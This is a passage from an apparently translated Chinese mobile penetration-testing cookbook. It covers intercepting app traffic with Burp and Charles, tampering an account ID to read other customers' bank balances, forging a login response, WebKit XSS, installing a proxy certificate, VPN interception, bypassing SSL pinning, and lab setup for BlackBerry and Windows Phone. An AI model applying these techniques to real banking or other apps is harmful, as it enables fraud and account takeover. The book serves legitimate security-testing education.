网络代理(或 Burp Suite)的工作原理很简单。它像中间人一样插入网络路径,监听或修改流量。
Shark for Root 通过在底层操作系统上获取超级用户权限并访问网络文件来工作;因此,它能够嗅探数据包并创建数据包转储。
还有更多...
Shark for Root 创建的数据包转储(.pcap)文件在分析网络上传输的数据包类型方面非常有用。有时,Web 代理无法捕获流量。造成这种情况的原因可能是特定的 SSL 证书捆绑到移动应用程序中,或者使用特定的 TCP 数据包或协议(不一定是 HTTP)。在代理工具失败时,Shark for Root 可以帮助理解失败原因,从而为拦截和故障排除提供进一步方向。
参见
使用 MITM 代理进行修改和攻击
Burp Suite 被设置为中间人攻击(MITM)代理。中间人攻击者控制着双方交换的每一笔交易(请求和响应),即手机上的移动应用程序和存放业务逻辑的移动服务器之间的交换。
使用 MITM 代理攻击应用程序的业务逻辑,比如尝试绕过 1000 美元的转账限制,通过进行更高金额的交易;还可以尝试特定工作流程,如绕过一次性密码。MITM 代理还可以用于通过访问对象或修改参数值来获取应用程序中的特权访问以提供特权内容。
准备工作
要拦截移动流量,请按照本章中先前的步骤设置实验室和工具。完成后,您的 Burp Suite 已经准备好进行修改和攻击。
如何操作...
让我们来看一个业务案例,并采用修改和攻击方法。所有移动银行应用程序都允许查看自有银行账户余额的基本功能。让我们攻击这个功能以查看其他用户账户的余额:
-
首先,选择一个移动银行应用程序。
-
登录并转到查看余额功能;该应用程序允许您选择其中一个自有账户,随后向服务器发送请求请求用户余额。此请求在 Burp 代理中被拦截,如下所示:
注意截图中突出显示的Payment Instrument Id
。该参数值被篡改为另一个值,如10001856
,导致显示不属于已登录用户的账户余额。不幸的是,由于这是一个实时的移动银行应用程序,我们无法向您展示更多应用程序截图。
这样,MITM 代理用于修改和攻击应用程序中的参数。
工作原理...
MITM 代理药物攻击是针对服务器端应用程序逻辑的。由于代理充当中间人,它可以完全控制正在传输的数据。选择可能导致响应数据的参数,并对其进行修改以实现应用程序中不允许的功能。
在这种特殊情况下,为每个用户分配了一个唯一的会话令牌,但应用程序未验证请求的参数值(支付工具 ID
)是否不属于已登录用户。因此,它显示其他客户的账户余额,允许绕过业务逻辑验证。
这种 MITM 代理对应用程序逻辑进行了各种臭名昭著的攻击。关键是选择正确的变量进行操作,有时可能会耗费时间。
还有更多...
我们只能讨论一个案例。通过这种 MITM 修改和攻击方法可以实现更多。考虑一下应用程序功能和验证,然后决定使用这种方法攻击哪一个。
对于移动银行应用程序,以下是您可以尝试的可能攻击的指示性列表:
-
查看他人的账户余额
-
查看他人的交易历史记录
-
从其他用户的账户中转账
-
将资金转账给未添加为受益人的人
-
在其他用户的账户中注册或注销信用卡
-
在其他用户的账户中注册或注销账单支付者
同样,在涉及多个角色(用户、经理和管理员)的应用程序中,您可能希望玩弄负责提供特权内容的请求变量。如果成功,用户可以获得经理或管理员的访问权限,从而成功进行特权升级攻击。
参见
- 分析 iOS 应用程序流量并提取敏感信息
配置 iOS 的流量拦截
移动设备拦截的渗透测试实验室是在本章的为移动设备设置无线渗透测试实验室配方中构想的。我们必须配置 iOS 设备以强制第 2 步(在第一个配方中描述)遵循网络代理。让我们在这个配方中学习如何在 iOS 设备中做到这一点。
准备就绪
需要 iOS 设备,以及实验室设置的其他必需品,如 Wi-Fi 网络和带有网络代理工具的笔记本电脑(如本章第一个配方中讨论的)。
如何做...
iOS 为 iDevice 用户提供了代理作为一个功能。这使得用户或攻击者可以很容易地为 iOS 应用程序设置流量拦截。设备代理设置是全局的,也适用于应用程序。
可以通过在 iPhone 或 iPad 上导航到设置来配置设置。
为此,进入 Wi-Fi 设置,选择要连接的 Wi-Fi;在高级选项下可以看到代理设置。在HTTP 代理下选择手动以配置代理主机名/IP 地址、代理端口号等。如下截图所示:
工作原理...
iOS 提供了一个设置代理的功能,用户可以设置网络代理并捕获流量。这在 Android 中比较复杂,因为代理功能本身不是默认存在的。在 iOS 中,代理作为一个功能的存在使得它更加直接。
更多内容...
对于可以在 iOS 模拟器上运行的 iOS 应用程序和 Xcode 项目,可以设置代理。Xcode 和 iOS 模拟器运行在 Mac OS X 上。我们可以在 MacBook 上设置全局代理设置。在 Wi-Fi 设置中,对于连接的 Wi-Fi 网络,导航至代理和Web 代理(HTTP)。在那里,设置本地代理(127.0.0.1
)并提供代理端口(Burp Proxy 的8080
)。如下截图所示,这将确保 iOS 模拟器的流量通过运行在同一台机器上的代理工具发送到服务器:
另请参阅
分析流量并从 iOS 应用程序流量中提取敏感信息
当拦截设置准备就绪时,流量分析已经开始。从流量中提取敏感信息是最困难的任务,或者说是找到可以帮助进一步提取敏感信息的 HTTP 请求和变量。
让我们以一款 iOS 应用为例。首先分析流量,然后看如何提取敏感信息。
准备工作
拦截 iOS 应用程序流量,按照前面的步骤设置实验室和工具。完成后,代理工具(Charles Proxy)已准备好拦截流量。
如何操作...
-
登录移动应用程序,如下截图所示。为正确的用户名输入错误的密码:
请注意,登录请求已发送并收到响应。
-
密切监视响应流量。对于密码错误,响应中会显示
ERR_PWD
文本,如下截图所示: -
这将导致 iPhone 屏幕上显示错误响应,如下截图所示:
-
现在尝试使用正确的用户名和密码登录应用程序。注意登录请求的响应。响应中包含文本
SUCCESS_LOGIN
,如下截图所示。此操作将显示移动应用程序的内部屏幕:
对 iOS 应用程序流量的分析显示了两种情况下响应的差异。现在让我们尝试将一种情况的响应粘贴到另一种情况中。
当我们用错误的密码登录时,我们会在响应中得到ERR_PWD
。现在,通过 Charles Proxy 工具,将响应中的ERR_PWD
操纵为SUCCESS_LOGIN
,并将响应从 Charles 转发。这样做会将用户登录到应用程序中,并在 iPhone 上显示内部应用程序屏幕。这样,我们通过错误的密码从 iOS 应用程序中获取了敏感信息。
还有更多...
应用程序流量揭示敏感信息的可能性是多种多样的。另一个值得一提的案例是,当我们发现一个 iPad 应用程序发送一个包含用户名、密码和唯一设备标识符(UDID)号码的请求时。该应用程序试图实现用户仅能在特定 iPad 上登录,以便同一用户无法从其他 iPad 登录。
我们可以通过篡改另一台 iPad 的 UDID 号码到前一台 iPad 的出站请求中,绕过这一点,并从另一台 iPad 登录相同的用户。这样,应用程序的 iPad 绑定被证明是无用的。
根据应用程序功能和流量分析,可以尝试和绕过许多事情。
参见
- 使用 MITM 代理进行修改和攻击
针对移动应用程序的 WebKit 攻击
Safari 和其他移动应用程序使用WebKit。它是一个 Web 浏览器引擎。它为实现的应用程序提供浏览器功能。大多数混合移动应用程序使用 WebKit 来调用浏览器组件,并使其对应用程序用户进行无缝集成。
基于 WebKit 的移动应用程序攻击类似于基于 Web 应用程序浏览器的攻击。跨站脚本(XSS)或 HTML 注入是移动应用程序的 WebKit 组件上最常见的攻击。
跨站脚本利用应用程序将用户输入反射回用户而不对输出进行消毒的功能。因此,如果应用程序将攻击者发布的恶意 JavaScript 反射给用户,则脚本将在用户的浏览器中执行。这些脚本可能窃取用户会话令牌,或者下载和安装恶意软件和后门。
HTML 注入与 XSS 略有不同。在这里,发送 HTML 标签或代码,当反射回用户时,修改 HTML 视图。这最终可能绕过某些客户端限制或完全改变呈现方式,包括加载新的 HTML 文件。
准备工作
为此,我们需要使用 WebKit 组件的应用程序。测试工具与本章中先前描述的相同。
如何做...
让我们来看一个使用 UIWebView 在移动应用程序中嵌入 Web 内容的 iOS 应用程序。
在此应用程序中,网页通过简单地将 URL 传递给 UIWebView
类对象加载。该对象将 HTML 渲染成 iOS Safari 浏览器(WebKit)一样的方式。
让我们看看在这种情况下 WebKit 攻击的可能性:
-
篡改路径变量以加载另一个存储或被入侵的 HTML 文件(HTML 注入变体)。
-
加载一些其他页面,嵌入恶意 JavaScript,导致在用户上下文中执行 JavaScript(XSS 变体)。
工作原理...
为了理解 WebKit 攻击在这种情况下是如何工作的,让我们看看与视图生成相关的 iOS 应用程序代码长什么样:
从代码中可以注意到,位于索引位置的 HTML 文件将被加载。
如果此索引文件可以被攻破或修改以包含 JavaScript,可能导致跨站脚本攻击(XSS)。这需要攻击者能够控制用户的移动设备。
为了演示,向 index.html
文件中插入了 HTML 代码,并加载显示 HTML 注入攻击也是可能的。以下截图展示了这个结果:
还有更多...
对于类似类别的 WebKit 攻击,您需要使用 WebKit 组件并反射用户输入的移动应用程序。您需要像 Burp Proxy 这样的代理工具来攻击网络流量,篡改并插入特定的有效载荷。这些有效载荷会立即在 WebKit 下反射并执行攻击。
查看移动端代码中包含 WebView、WebKit 等的应用程序。使用 Web 应用程序代理技术找出在响应中反射的参数。创建有效载荷并制定自定义攻击。
另见
-
在基于 WAP 的移动应用中寻找漏洞,第三章,审计移动应用程序
通过证书操作执行 SSL 流量拦截
在使用 Burp Suite 和 Wireshark 拦截流量以及使用 MITM 代理修改并攻击的配方中,我们拦截了移动应用程序的流量。如今,大多数组织都使用 SSL 来保护网络上的数据。因此,期望大多数现实世界中的移动应用程序都使用 SSL。我们需要解决的下一个挑战是拦截移动应用程序的 SSL 流量。这需要在用户或受害者端进行证书操作。
准备就绪
本配方的主要要求是使用 SSL 的移动应用程序。此外,您还需要本章中使用 Burp Suite 和 Wireshark 拦截流量以及使用 MITM 代理修改并攻击配方中使用的所有工具。
如何操作...
尝试根据本章前面描述的方法设置代理工具并拦截安卓或 iOS 应用的流量。你会注意到,对于基于 WAP 的应用,SSL 错误会出现在移动浏览器中。对于已安装的应用或混合应用,你可能不会看到任何错误,流量也不会被捕获。
在 WAP 应用的情况下,如果提供证书接受选项,你可以继续操作并在代理工具中捕获流量。
对于非 WAP 应用,您需要强制应用接受代理证书。可以通过将代理证书添加到受信任的凭据存储中来实现。
让我们在本教程中使用 Charles Proxy:
-
在我们的安卓手机上安装 Charles Proxy,以便能够拦截安卓应用的流量。
-
可以从
www.charlesproxy.com/assets/legacy-ssl/charles.crt
下载 Charles Proxy 版本 v3.10 之前的 SSL 证书。 -
要安装 Charles Proxy 证书,请在安卓手机上打开前述网址。
-
代理安装界面会要求你提供一个名称;我们将在这里输入
charles
,如下截图所示: -
接下来的步骤提示我们提供锁屏 PIN 码或密码。完成后,我们会收到一条消息,表示
Charles 已安装
。 -
让我们进入受信任的凭据存储,验证证书是否已安装。导航路径为:设置 | 安全性 | 受信任的凭据 | 用户:
从前面的截图中可以看到,Charles Proxy SSL 证书
已存在并安装。
接下来的步骤非常简单,类似于本章第四个操作步骤。通过这种方式,可以为移动应用设置 SSL 代理,并篡改流量以攻击应用的业务逻辑。
它是如何工作的...
SSL 代理拦截之所以有效,是因为 SSL 协议天生容易受到 MITM 攻击。如果两个人(A
和B
)通过 SSL 进行通信,每个人都有自己的公钥和私钥。假设发生 MITM 攻击,攻击者介入了A
和B
之间的通信路径。
攻击者(或 MITM)拦截并与A
和B
交换密钥。通过这个更改后的密钥,攻击者能够加密和解密由A
或B
发起的通信,并将其无缝地发送给对方。
这种攻击会弹出 SSL 证书错误,只有当用户接受伪造(或攻击者的)证书时,通信才会被发起。在本教程中,我们通过手动安装相同证书,强制安卓手机接受 Charles Proxy。现实中的 MITM 攻击通常依赖于用户以某种方式接受证书,或者通过其他攻击渠道将伪造证书安装到受信任的存储中。
还有更多内容...
类似于为 Charles Proxy 安装代理证书的方法,可以在其他代理工具(如 Burp Suite、Fiddler 等)上为 SSL 证书进行安装,适用于各种移动设备。可以按照相同的步骤在模拟器或仿真器中安装 SSL 证书。
另见
使用移动配置文件设置 VPN 并在 iOS 设备中截获流量
iOS 允许 iDevice 配置并参与 VPN。这个 VPN 通道打开了另一条通信通道,我们也可以利用这个通道设置代理以截获流量。
准备工作
我们需要代理工具、iDevice 以及无线渗透测试实验室的其他要求。
此外,您还需要在一台计算机上配置 VPN 服务器。可以使用 Open VPN 或 PPTP 服务器来完成此操作。
操作方法...
一旦准备好,执行以下步骤:
-
从 http://poptop.sourceforge.net/dox/ 下载PPTP Server并将其安装在 Linux 机器上。
-
编辑
pptpd.conf
文件,为 VPN 客户端分配IP 范围,并为 VPN 服务器提供静态 IP,VPN 服务器还将充当网关。 -
进一步配置DNS 服务器为VPN客户端。
-
最后,配置VPN密码,并在需要时调整网络设置。
-
配置编辑完成后,保存
pptpd.conf
文件并重新启动 VPN 服务。这确保 VPN 服务器已启动并正常工作。 -
现在需要在 iDevice 中配置移动 VPN 客户端。找到 iDevice 上的VPN 设置并编辑PPTP设置。
-
配置服务器IP 地址、VPN 认证凭据等。以下截图显示了这些设置:
-
上述步骤确保 iDevice 现在已经是 VPN 的一部分,其中默认网关已由我们控制。
-
现在让我们为这个 VPN 客户端设置代理,即我们的 iDevice。在VPN 设置下,向下滚动找到代理设置,在这里您可以配置代理服务器 IP 地址和端口,并在需要时提供代理身份验证详细信息。如下截图所示:
现在,在代理 IP 地址上运行的 Burp 或 Charles Proxy 开始捕获流量。
工作原理...
这个配方听起来可能很复杂,涉及 VPN 服务器、客户端配置和代理。但实际上,操作起来非常简单。一旦设置了 VPN 网络,像 iDevice、VPN 服务器和代理工具这样的所有组件都是同一个网络的一部分。现在,网络代理位于这个 VPN 网络中。所以一切都没有改变,只是这是一个 VPN 代理,而不是我们之前见过的 Wi-Fi 代理。iOS 提供 VPN 配置作为 iDevices 功能使得操作相当简单。
可以更好地认识到此配方在拦截移动网络流量方面的重要性,否则可能非常困难。
还有更多内容…
OpenVPN 服务器和客户端可以作为 PPTP 服务器的替代方案来看待。步骤非常相似:
-
在一台计算机上安装 OpenVPN 服务器。
-
在 iDevice 上安装 OpenVPN 客户端。
-
运行类似 Burp 或 Charles 代理的代理工具。
-
一旦上述三个组件都在同一 VPN 网络中,配置 iDevice 中的代理设置以启动流量拦截。
另请参阅
绕过 Android 和 iOS 的 SSL 证书验证
SSL 证书验证在移动应用中实现,强制使用带有受信任证书的 SSL。服务器证书被固定到移动应用中。SSL 证书存储在移动设备的信任存储中,并且移动应用被编码为在与服务器建立连接时使用相同的证书。这也被称为证书 pinning。
可以绕过证书 pinning,这导致整体 SSL 证书验证绕过。让我们学习如何在 Android 和 iOS 设备上绕过证书 pinning。
准备工作
我们将需要 SSL 拦截工具和其他在本章节中提到的工具,如应用程序逆向工程或反编译工具,以及使用 SSL pinning 的应用程序。
如何做…
按照以下步骤绕过 pinning:
-
安装使用 SSL pinning 的移动应用程序。
-
尝试设置 Burp 代理,并注意出现错误,无法建立成功连接。这是因为移动应用程序只编码为仅使用固定的证书。由于 Burp 代理证书未固定,应用程序不会启动 SSL 通信。因此,显而易见,我们需要将 Burp 代理证书固定到移动应用程序中。
-
让我们首先将 Burp 代理证书安装到移动设备的信任证书存储中。为此,请按照之前在本章节中解释过的 通过证书操作执行 SSL 流量拦截 配方进行操作。
-
现在,应用程序需要配置以删除钉扎或使用存储在移动设备上的新证书。为此,您需要找到负责使用钉扎证书的应用程序代码,删除此代码,并重新打包应用程序。重新打包的应用程序现在不使用钉扎证书,而是使用 Burp 代理的受信任证书。通过这种方式,SSL 代理得以设置,证书验证被绕过。
它是如何工作的...
SSL 钉扎绕过之所以有效,是因为它依赖于检查用户提供的证书是否被允许,且只使用钉扎证书。它并没有尝试将钉扎证书与服务器证书相关联的参数进行匹配。在整个过程中,它忽略了移动设备由用户控制这一事实,而用户可以进行黑客攻击来禁用钉扎。
代理证书(或伪造证书)可以通过不同的黑客手段被推送到移动设备的受信任存储中。此外,应用程序被修改为丢弃钉扎证书的使用。移动应用程序因此受到影响,开始使用已经被移动设备信任的伪造或代理证书进行通信。
还有更多...
前述方法依赖于操作应用代码以删除钉扎证书。还有另一种方法不需要操作代码,而是通过操作密钥库将代理(或伪造)证书添加到密钥库中。
这需要一个密钥库密码,它是硬编码在移动应用程序代码中的。密钥库密码可以从反编译的代码中获得。像 smali/baksmali 这样的工具可以用来完成此操作。
最后,找到密钥库。在 Android 中,最可能的位置是在 res
文件夹下。现在,使用 keytool
命令将代理证书添加到密钥库中。重新打包并签名应用程序。现在,它使用代理证书,流量拦截生效,从而绕过 SSL 证书验证。
提示
要特别检查移动应用程序源代码中是否存在绕过 SSL 验证的代码。一些开发者喜欢编写绕过 SSL 验证的代码用于测试和调试目的。该代码在进入生产环境时,应当经过清理,去除此类绕过代码。
另见
-
检查 iOS 应用数据存储 和 钥匙串安全漏洞,第三章,移动应用审计。
第五章。与其他平台合作
在本章中,我们将介绍:
-
设置 Blackberry 开发环境和模拟器
-
设置 Blackberry 渗透测试环境
-
设置 Windows 手机开发环境和模拟器
-
设置 Windows 手机渗透测试环境
-
配置 Blackberry 手机的流量拦截设置
-
从 Windows 手机应用程序中窃取数据
-
从 Blackberry 应用程序中窃取数据
-
在 Windows 手机中读取本地数据
-
基于 NFC 的攻击
介绍
在本章中,我们将介绍其他移动平台。到目前为止,我们在本书中重点讨论了 Android 和 iOS 平台。这里,我们利用机会介绍 Blackberry 和 Windows Phone 作为下一个流行的移动平台。
Blackberry 长期以来一直是企业用户的最爱手机。尽管 Blackberry 在智能手机市场的份额有所下降,但它仍然具有足够的用户群体,因此值得在本书中介绍和讨论。QWERTY 键盘曾经是早期 Blackberry 手机的特点。
Windows 手机正受到越来越多用户的青睐。Windows 7 和 8 的成功推动了这一趋势,后续的手机计划带来更多创新。屏幕的垂直滑动动作是 Windows 手机的一个特点。
学习移动平台的最常见方面包括设置开发和渗透测试环境、学习模拟器、配置流量拦截设置,以及读取/窃取这些手机中的数据。因此,让我们在本章中为 Blackberry 和 Windows 平台的学习做好准备。此外,还有一项关于 近场通信(NFC)攻击的奖励配方。
设置 Blackberry 开发环境和模拟器
要开始学习任何新的移动平台,您应该按照以下顺序操作:
-
学习设置 集成开发环境(IDE)
-
学习编程语言并编写应用程序
-
学习使用模拟器和仿真器调试应用程序
-
设置渗透测试环境
-
学习在(当前)移动平台上的渗透测试方面
下载 Blackberry(BB)的 Momentics IDE。安装并设置 IDE。它可以连接到 Blackberry 手机和 Blackberry 模拟器。
从这里开始,我们将重点讨论 Blackberry 模拟器。
做好准备
下载 Blackberry Device 10 Simulator。我们使用了 Windows 操作系统。对应的模拟器可以从以下网址下载:developer.blackberry.com/develop/simulator/simulator_installing.html
如何操作...
-
运行安装程序文件,它会指导你完成安装步骤。安装完成后,你将看到如下界面:
-
接下来,定位并运行
runBB10Simulator.bat
文件。运行该 bat 文件后,Blackberry 模拟器的监听组件将启动。 -
现在找到 VMware 文件
BlackBerry10Simulator.vmx
并启动 VMware。VMware 镜像启动后,会为你启动一个模拟器,如下所示:
它是如何工作的...
批处理文件是黑莓模拟器的监听组件。必须运行批处理文件,否则黑莓模拟器将无法运行。请注意,批处理文件的 DOS 窗口需要保持打开状态,直到 BB10 模拟器使用完毕。
BB10 模拟器在虚拟机镜像中启动。可以根据我们的需求进行配置。请参考本食谱中另请参见部分提到的 BB10 模拟器用户指南。
还有更多...
Momentics IDE 可用于连接到 BB 手机或 BB 模拟器。这完成了开发环境及其运行时集成。可以在 IDE 中开发应用程序,并可以在连接的设备或模拟器中进行调试或运行。
另请参见
设置黑莓渗透测试环境
一旦你熟悉了黑莓平台、模拟器和/或手机,便可以进入渗透测试的状态。移动应用程序的渗透测试可以大致分为四个类别:
-
与移动应用流量相关的攻击
-
与移动设备存储相关的攻击
-
与移动应用源代码相关的攻击
-
涉及移动操作系统功能的攻击,这些功能被移动应用程序使用
渗透测试实验室应当配备基本设施,以满足上述四个类别的需求。
准备工作
我们需要为黑莓渗透测试搭建一个实验室。为了开始,我们需要以下工具:
-
黑莓 IDE
-
黑莓手机
-
黑莓模拟器
-
代理工具,如 Charles、Burp Suite 和 Fiddler
-
一台 Wi-Fi 网络
-
黑莓备份工具
-
数据线
-
反编译工具
如何操作...
让我们看看这些工具如何提供帮助:
-
黑莓 IDE:此 IDE 主要用于代码审查任务。可以分析 BB 应用的代码,以发现来自开发常见错误或业务逻辑错误的安全问题。在纯粹的渗透测试任务中,通常不需要此步骤。黑莓 IDE 的安装在前面的食谱中有详细介绍。
-
黑莓手机:必须测试运行时应用程序。需要 BB 手机来安装并运行应用程序,以便进行渗透测试。
-
黑莓模拟器:模拟器还提供了用于调试和渗透测试的运行时环境。模拟器是救命稻草;当特定版本的手机不可用时,我们可以切换到该版本的模拟器。然而,如果 RAM 或磁盘空间有限,模拟器可能会变得很慢,使用起来也会变得困难。黑莓模拟器作为 IDE 的一部分安装;我们在之前的食谱中已经学过这个。
-
代理工具,如 Charles、Burp Suite 和 Fiddler:各种代理工具可以从它们的网站上下载。这些工具非常直接,也有相关的指南和帮助论坛。这些工具容易安装;只需从各自的网站下载安装程序,点击几下就能使工具准备就绪。
-
Wi-Fi 网络:我们需要一个 Wi-Fi 网络来拦截 Wi-Fi 流量。稍后我们将为移动设备设置一个代理,使其连接到运行代理工具的笔记本电脑,并且二者都在同一个 Wi-Fi 网络上。
你可以使用 Wi-Fi 路由器来设置个人 Wi-Fi 网络,或者使用一些免费工具将笔记本电脑设置为热点。根据我们的经验,使用后者有时会遇到困难,因此我们建议使用前者。
-
Blackberry 备份工具:用于获取 Blackberry 备份并从备份中提取或挖掘数据的工具。传统上,BB 手机上存储的数据很难被窃取。这可以通过从手机获取备份并从备份中挖掘数据来解决。
像 Blackberry Extractor 或 BlackBerry Backup Extractor 这样的工具在这方面非常有用。
-
数据线:拥有一根数据线也非常重要。稍后我们将使用它连接手机,读取数据并进行通过 USB 发起的攻击。
-
反编译工具:这些工具在我们的实验室中也非常重要。这些小工具帮助我们进行应用程序的反编译。在本章中,我们将使用一个名为 Coddec 的工具,并在接下来的步骤中进行演示,涵盖此工具的安装和使用方法。
它是如何工作的...
准备好我们的渗透测试实验室工具后,让我们看看如何将渗透测试的使用案例与不同类别的工具进行关联:
-
移动应用流量相关攻击:在这一部分,Wi-Fi 网络和代理工具将派上用场。一台安装了 Charles 或 Burp 代理的笔记本电脑连接到 Wi-Fi 网络。一台运行应用程序的移动设备通过设备上的代理配置连接到笔记本代理。由于笔记本电脑和移动设备位于同一 Wi-Fi 网络上,应用程序流量将通过 Charles 或 Burp 代理工具路由。配置模拟器或手机中的适当代理设置,以便将流量路由到 Charles 或 Burp 代理工具。
实际上,整个过程使得应用程序流量可以通过代理工具进行读取和编辑,我们可以进行各种攻击,如参数篡改以绕过业务逻辑或获取特权访问。
-
移动设备存储相关攻击:我们需要一根数据线将手机连接到笔记本电脑。笔记本上安装有模拟器,二者都可以运行移动应用程序。使用 Blackberry 桌面软件将手机连接到笔记本电脑。这个通道可能导致数据窃取攻击,例如直接读取手机数据或为离线数据挖掘而备份手机数据。
-
与移动应用源代码相关的攻击:反编译 BB 应用程序会得到原始源代码。可以使用 Coddec 工具来执行此操作。应用程序源代码中硬编码的敏感数据会被揭示出来。
还有更多...
涉及移动操作系统特性以及被移动应用程序使用的攻击是最复杂的一类。有各种 BB OS 相关的功能,应用程序与之交互,例如蓝牙、NFC、意图、广播接收器等。这些也需要在渗透测试中涵盖。
另见
设置 Windows 手机开发环境和模拟器
正如我们之前所学,为了开始一个新的移动平台开发,我们需要遵循以下顺序:
-
学习如何设置集成开发环境
-
学习编程语言并开发应用程序
-
学习使用模拟器和仿真器调试应用程序
-
设置渗透测试环境
-
学习当前移动平台的渗透测试方面
Visual Studio 一直是 Windows 应用程序的开发框架。
从 Windows 10 开始,通用 Windows 平台(UWP)被用于应用程序开发。正如其名,UWP 应用可以在任何类型的 Windows 平台(平板电脑、手机和桌面)上运行。
准备工作
从dev.windows.com/en-us/downloads/sdk-archive
下载 Windows Phone SDK。
模拟器也可以从相同的代码库中下载。对于通用 Windows 应用程序,SDK 和模拟器的下载链接位于上述代码库链接的顶部部分。
我们在本教程中使用了 Windows 8.1 SDK 和模拟器。
如何操作...
-
从
go.microsoft.com/fwlink/p/?LinkId=323507
下载 Windows 8.1 SDK。 -
运行安装程序文件,它将引导你完成安装步骤。以下界面允许你选择要安装的功能:
-
安装完成后,会显示欢迎使用 Windows 8.1 软件开发工具包的消息。
-
现在,请继续从以下地址下载并安装 Windows 8.1 模拟器:
-
可以使用
xde.exe
启动模拟器。一旦选择了初始偏好设置,模拟器窗口就会启动,现在你已经创建了 Windows 应用开发和运行时环境。
它是如何工作的...
在 Windows 8.1 上进行开发需要 SDK、模拟器和.Net 框架。应用程序可以在 Windows 8.1 上进行编码,并且可以在模拟器中运行。或者,预编码的应用程序和构建好的应用程序可以独立在模拟器中运行。这是因为模拟器也可以作为 Hyper-V 虚拟机在 SDK 外部启动,并作为 VHD 运行。
随着微软在 Windows 10 上推广通用 Windows 平台(UWP),开发预计将向 Windows 10 和 UWP 迁移。一次性编写应用并可以在手机、平板和桌面等多个地方使用是有意义的。UWP 有望改变整个 Windows 应用程序开发的格局。
还有更多……
一旦你掌握了 SDK 和模拟器,接下来就是编码第一个应用程序了。建议读者尝试在 Windows 8.1 或 Windows 10 UWP 平台上编写基本应用,以便更好地了解平台的特性。微软官网本身就是一个很好的起点,它提供了很多学习用的示例代码。示例应用的链接可在本节的另见部分找到。
另见
设置 Windows 手机渗透测试环境
一旦你掌握了 Windows 平台 SDK、模拟器和手机的基础,就可以开始准备进行渗透测试了。正如你之前所学,我们将以四大类为框架来分析 Windows 平台的渗透测试:
-
与移动应用流量相关的攻击
-
与移动设备存储相关的攻击
-
与移动应用源代码相关的攻击
-
涉及移动操作系统特性的攻击,通常由移动应用使用
Windows 平台的渗透测试实验室还需要配备基本的必需品,以满足前述四类需求。
准备就绪
我们需要为 Windows 手机渗透测试搭建实验室。开始之前,我们需要以下设备:
-
Windows 手机 SDK
-
Windows 手机或平板
-
Windows 手机模拟器
-
代理工具,如 Charles、Burp Suite 和 Fiddler
-
一张 Wi-Fi 网络
-
一根数据线
如何操作……
让我们看看这些工具如何帮助:
-
Windows Phone SDK:该 SDK 主要用于代码审查任务。Windows 应用的代码可以被分析,以发现开发过程中的任何安全问题——如通用错误或业务逻辑错误。在纯渗透测试任务中,通常不需要这一环节。
同时,Windows SDK 在读取从打包应用中窃取的代码文件时也会派上用场。我们已经在前面的配方中设置了 Windows 手机 SDK。
-
Windows 移动设备/平板电脑:必须测试运行时应用程序。需要 Windows 移动设备和平板电脑来安装和运行应用程序,以便进行渗透测试。
-
Windows 手机模拟器:模拟器还为调试和渗透测试提供了运行时环境。模拟器是救命稻草;当无法获取特定版本的手机时,我们可以切换到该特定版本的模拟器。通过从 SDK 安装目录启动
xde.exe
可以访问模拟器。 -
代理工具,如 Charles、Burp Suite 和 Fiddler:各种代理工具可以从它们的官方网站下载。这些工具非常简单,而且有相关的指南和帮助论坛。这些工具很容易安装;只需从各自的网站下载安装程序,点击几下就能使工具准备就绪。Wi-Fi 网络:我们需要一个 Wi-Fi 网络来截获 Wi-Fi 流量。我们稍后会将移动设备的代理设置为运行代理工具的笔记本电脑,并确保它们在同一个 Wi-Fi 网络上。
你可以使用 Wi-Fi 路由器设置自己的个人 Wi-Fi 网络,或者使用一些免费的工具从笔记本电脑创建热点。根据我们的经验,后者有时较为困难,因此我们更倾向于使用前者。
-
数据线:拥有一根数据线也很重要。稍后我们将使用它连接手机以读取数据并执行通过 USB 发起的攻击。
如何操作...
在我们的渗透测试实验室中,工具已准备就绪,接下来让我们看看如何将渗透测试用例与使用这些工具的不同类别关联起来:
-
与移动应用流量相关的攻击:Wi-Fi 网络和代理工具用于攻击移动应用流量。安装了 Charles 或 Burp 代理的笔记本电脑连接到 Wi-Fi。运行应用程序的移动设备被指向笔记本电脑代理,并使用设备上的代理配置。由于笔记本电脑和移动设备在同一 Wi-Fi 网络上,应用流量通过 Charles 或 Burp 代理工具进行路由。在模拟器或手机中配置适当的代理设置,以便将流量路由到 Charles 或 Burp 代理工具。现在,流量可以通过代理工具进行篡改,从而进行参数操控、注入等类型的攻击。
-
与移动设备存储相关的攻击:我们有数据线将手机连接到笔记本电脑。我们有模拟器可以在笔记本电脑上运行移动应用程序。使用 WP Power 工具将手机连接到笔记本电脑。这个通道可能导致数据窃取攻击,例如直接读取或篡改手机数据。我们将在本章的倒数第二个配方中演示这一点。
-
移动应用源代码相关攻击:通过使用 SDK 和其他反编译工具,可以获取 Windows 手机应用的原始源代码。执行此步骤是为了揭示硬编码的敏感数据或在客户端移动应用源代码中编写的敏感业务逻辑。
还有更多内容…
涉及移动操作系统特性(由移动应用使用)的攻击是最复杂的一类。这些应用与许多 Windows 操作系统相关特性交互,如蓝牙、NFC、意图、广播接收器等。这些内容也需要在渗透测试中进行覆盖。
另见
-
pen-testing.sans.org/blog/2011/10/28/mobile-application-assessments-part-2-a-look-at-windows-mobile
-
resources.infosecinstitute.com/windows-phone-digital-forensics-2/
-
www.securityninja.co.uk/application-security/windows-phone-app-analyser-v1-0-released-today-2/
配置 Blackberry 手机的流量拦截设置
传统上,Blackberry 手机并未提供为用户设置代理的选项。没有选项可以指定代理设置(代理 IP 地址和端口号)。因此,我们无法为这些手机设置代理。但是,为了测试目的,我们使用了模拟器,并设置了代理进行测试。现在让我们学习如何为 Blackberry 模拟器设置代理。
准备就绪
首先,我们需要准备好环境。此步骤要求在测试机上安装以下任意工具:
-
MDS 服务器与 Blackberry 模拟器:使用 MDS 和 Blackberry 模拟器的组合来模拟Blackberry 企业服务器(BES)的连接服务。
-
Blackberry 10 模拟器:将 Blackberry 10 模拟器作为独立设备使用。在本书的前面,我们已经学习了 Blackberry 10 模拟器的相关内容。
-
Blackberry 手机设备:也可以在 Blackberry 10 手机上设置代理。
如何操作…
安装可以通过以下两种方法之一完成。
案例 1 - 使用 MDS 服务器和 Blackberry 模拟器
这种组合在模拟 BES 服务器类型的环境时非常有用。必须通过修改 MDS 服务器的配置文件来设置代理。该配置文件负责网络连接,因此设备的流量将通过指定的代理进行路由。
以下是在 MDS 服务器配置中所需的配置:
-
在安装目录中找到
rimpublic.property
文件。我们在我们的设备上找到了该路径:C:\Program Files\Research In Motion\Blackberry JDE 5.0.0\MDS\config
。 -
在
rimpublic.property
文件中,找到[HTTP_HANDLER]
